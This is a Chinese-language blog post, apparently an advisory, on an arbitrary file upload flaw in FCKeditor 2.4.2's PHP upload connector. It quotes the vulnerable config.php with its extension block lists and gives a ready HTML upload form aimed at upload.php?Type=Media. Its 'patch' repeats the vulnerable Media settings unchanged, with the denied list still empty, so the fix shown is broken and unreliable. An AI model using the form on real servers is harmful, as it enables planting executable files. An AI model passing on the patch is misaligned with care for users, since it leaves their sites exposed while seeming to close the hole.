当前位置: 首页 > news >正文

Fckeditor 2.4.2 php任意上传文件漏洞+修补方法

 

漏洞文件:fckeditor/editor/filemanager/upload/php/upload.php

       fckeditor/editor/filemanager/upload/php/config.php

问题主要是出在config.php文件中未对Media目录作白名单和黑名单的限制,大概是写漏了,因为在fckeditor/editor/filemanager/browser/default/connectors/php目录中的config.php文件对Media是有限制的。

<?php
/*
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
*    http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
*    http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
*    http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Configuration file for the File Manager Connector for PHP.
*/

global $Config ;

// SECURITY: You must explicitelly enable this "connector". (Set it to "true").
$Config['Enabled'] = false ;


// Path to user files relative to the document root.
$Config['UserFilesPath'] = '/userfiles/' ;

// Fill the following value it you prefer to specify the absolute path for the
// user files directory. Usefull if you are using a virtual directory, symbolic
// link or alias. Examples: 'C:\\MySite\\userfiles\\' or '/root/mysite/userfiles/'.
// Attention: The above 'UserFilesPath' must point to the same directory.
$Config['UserFilesAbsolutePath'] = '' ;

// Due to security issues with Apache modules, it is reccomended to leave the
// following setting enabled.
$Config['ForceSingleExtension'] = true ;

$Config['AllowedExtensions']['File'] = array() ;
$Config['DeniedExtensions']['File']   = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;

$Config['AllowedExtensions']['Image'] = array('jpg','gif','jpeg','png') ;
$Config['DeniedExtensions']['Image'] = array() ;

$Config['AllowedExtensions']['Flash'] = array('swf','fla') ;
$Config['DeniedExtensions']['Flash'] = array() ;

$Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
$Config['DeniedExtensions']['Media'] = array() ;

?>

    2、漏洞利用
    既然fckeditor/editor/filemanager/browser/default/connectors/php/config.php已经过滤了,那就只能利用fckeditor/editor/filemanager/upload/php/config.php了。
    不过如果留意一下改配置文件,就能看到默认情况下“$Config['Enabled'] = false”,是不允许上传的;其次,看upload.php能发现,程序对上传文件夹作了比对,必须是Media,说明在windows下不影响,但在Linux下则必须是大写M的Media目录,如果是media则返回信息正常,但文件并未上传成功。
    自己写段上传脚本:
<form id="frmUpload" enctype="multipart/form-data" action="http://www.xxx.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">
Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
    提交后查看源码就能看到上传文件的位置。
      3、漏洞修补
    最好用新版,要不就拷贝以下代码到config.php最后。
$Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
$Config['DeniedExtensions']['Media'] = array() ;

相关文章:

  • 内网渗透利器--reDuh
  • linux入侵的基本命令
  • 常见虚拟主机目录对照
  • XSRF 跨站请求伪造
  • Linux安装软件有关的命令(dpkg 安装deb包)
  • 最炫的万能溢出武器——“Metasploit”
  • Metasploit Framework 简单介绍
  • DNS+tunnel(DNS隧道)技术-DNS2tcp的使用方法及原理
  • 变态的Web服务器IIS安全设置
  • SQL手工注入大全
  • 针对上传木马找不到名字的解决办法
  • 手工MSSQL注入常用SQL语句
  • Metasploit入侵windows之自动扫描
  • 在线渗透测试工具集合
  • Nmap 突破防ping扫描
  • 【刷算法】从上往下打印二叉树
  • Angular 2 DI - IoC DI - 1
  • Docker 笔记(2):Dockerfile
  • ES6--对象的扩展
  • HTTP中GET与POST的区别 99%的错误认识
  • k个最大的数及变种小结
  • maven工程打包jar以及java jar命令的classpath使用
  • redis学习笔记(三):列表、集合、有序集合
  • 阿里云爬虫风险管理产品商业化,为云端流量保驾护航
  • 聊聊directory traversal attack
  • 前端设计模式
  • 如何优雅地使用 Sublime Text
  • 说说动画卡顿的解决方案
  • 通过git安装npm私有模块
  • 通过获取异步加载JS文件进度实现一个canvas环形loading图
  • 关于Kubernetes Dashboard漏洞CVE-2018-18264的修复公告
  • ​LeetCode解法汇总2182. 构造限制重复的字符串
  • ​sqlite3 --- SQLite 数据库 DB-API 2.0 接口模块​
  • #etcd#安装时出错
  • #include<初见C语言之指针(5)>
  • #中的引用型是什么意识_Java中四种引用有什么区别以及应用场景
  • (27)4.8 习题课
  • (Redis使用系列) Springboot 使用redis实现接口幂等性拦截 十一
  • (二)Eureka服务搭建,服务注册,服务发现
  • (二)fiber的基本认识
  • (官网安装) 基于CentOS 7安装MangoDB和MangoDB Shell
  • (转)从零实现3D图像引擎:(8)参数化直线与3D平面函数库
  • (转贴)用VML开发工作流设计器 UCML.NET工作流管理系统
  • (最完美)小米手机6X的Usb调试模式在哪里打开的流程
  • **PyTorch月学习计划 - 第一周;第6-7天: 自动梯度(Autograd)**
  • *setTimeout实现text输入在用户停顿时才调用事件!*
  • .net core 实现redis分片_基于 Redis 的分布式任务调度框架 earth-frost
  • .NET 表达式计算:Expression Evaluator
  • .NET(C#、VB)APP开发——Smobiler平台控件介绍:Bluetooth组件
  • .NET框架设计—常被忽视的C#设计技巧
  • @cacheable 是否缓存成功_让我们来学习学习SpringCache分布式缓存,为什么用?
  • []error LNK2001: unresolved external symbol _m
  • [Android]Android开发入门之HelloWorld
  • [Big Data - Kafka] kafka学习笔记:知识点整理
  • [BZOJ3211]:花神游历各国(小清新线段树)